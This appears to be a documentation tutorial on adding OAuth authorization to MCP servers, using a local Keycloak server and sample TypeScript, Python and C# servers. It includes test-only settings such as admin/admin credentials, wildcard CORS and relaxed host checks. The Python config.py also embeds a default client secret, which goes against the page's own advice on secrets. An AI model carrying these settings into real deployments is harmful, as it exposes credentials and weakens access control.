+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2024-11-05/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) =>
+ checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ }),
+ );
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+ from typing import Optional
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB")
+
+ # Server settings
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+ OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes")
+ TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+ def validate(self) -> None:
+ """Validate configuration."""
+ if self.TRANSPORT not in ["sse", "streamable-http"]:
+ raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'")
+
+
+ # Global configuration instance
+ config = Config()
+
+ ```
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server.auth.settings import AuthSettings
+ from mcp.server.fastmcp.server import FastMCP
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ from urllib.parse import urljoin
+
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> FastMCP:
+ """Create and configure the FastMCP server."""
+
+ config.validate()
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = FastMCP(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ host=config.HOST,
+ port=config.PORT,
+ debug=True,
+ streamable_http_path="/",
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ try:
+ config.validate()
+ oauth_urls = create_oauth_urls()
+
+ except ValueError as e:
+ logger.error("Configuration error: %s", e)
+ return 1
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+ logger.info("Transport: %s", config.TRANSPORT)
+
+ mcp_server.run(transport=config.TRANSPORT)
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662).
+ """
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ import httpx
+
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx.Timeout(10.0, connect=5.0)
+ limits = httpx.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ "client_secret": self.client_secret,
+ }
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ resource=data.get("aud"), # Include resource in token
+ )
+
+ except Exception as e:
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(self.resource_url, resource)
+ ```
+
+ For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
